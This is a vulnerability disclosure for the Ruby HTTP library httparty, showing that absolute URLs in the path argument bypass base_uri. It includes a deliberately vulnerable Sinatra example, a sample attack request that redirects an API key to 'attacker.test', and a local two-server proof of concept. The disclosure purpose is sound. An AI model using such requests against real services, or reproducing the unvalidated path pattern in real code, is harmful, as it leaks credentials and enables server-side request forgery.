Summary
There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.
Details
When httparty receives a path argument that is an absolute URL, it ignores the base_uri field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.
Consider the following example of a web application:
require 'sinatra'
require 'httparty'
class RepositoryClient
include HTTParty
base_uri 'http://exmaple.test/api/v1/repositories/'
headers 'X-API-KEY' => '1234567890'
end
post '/issue' do
request_body = JSON.parse(request.body.read)
RepositoryClient.get(request_body['repository_id']).body
# do something
json message: 'OK'
end
Now, suppose an attacker sends a request like this:
POST /issue HTTP/1.1
Host: localhost:10000
Content-Type: application/json
{
"repository_id": "http://attacker.test",
"title": "test"
}
In this case, httparty sends the X-API-KEY not to http://example.test but instead to http://attacker.test.
Is this behavior considered intentional in httparty?
A similar problem was reported and fixed in the HTTP client library axios in the past:
https://github.com/axios/axios/issues/6463
Also, Python's urljoin function has documented a warning about similar behavior:
https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin
In my opinion, httparty should verify, right before sending the request, that either of the following conditions is met:
- The destination URL has a prefix matching
base_uri.
base_uri is not set.
PoC
Follow these steps to reproduce the issue:
-
Set up two simple HTTP servers.
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
-
Create a script (for example, main.rb):
require 'httparty'
class Client
include HTTParty
base_uri 'http://localhost:10001'
end
data = Client.get('http://localhost:10002').body
puts data
-
Run the script:
$ ruby main.rb
this is server2
Although base_uri is set to http://localhost:10001/, httparty sends the request to http://localhost:10002/.
Impact
- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.
- SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.
- Affected users: Any software that uses
base_uri and does not properly validate the path parameter may be affected by this issue.
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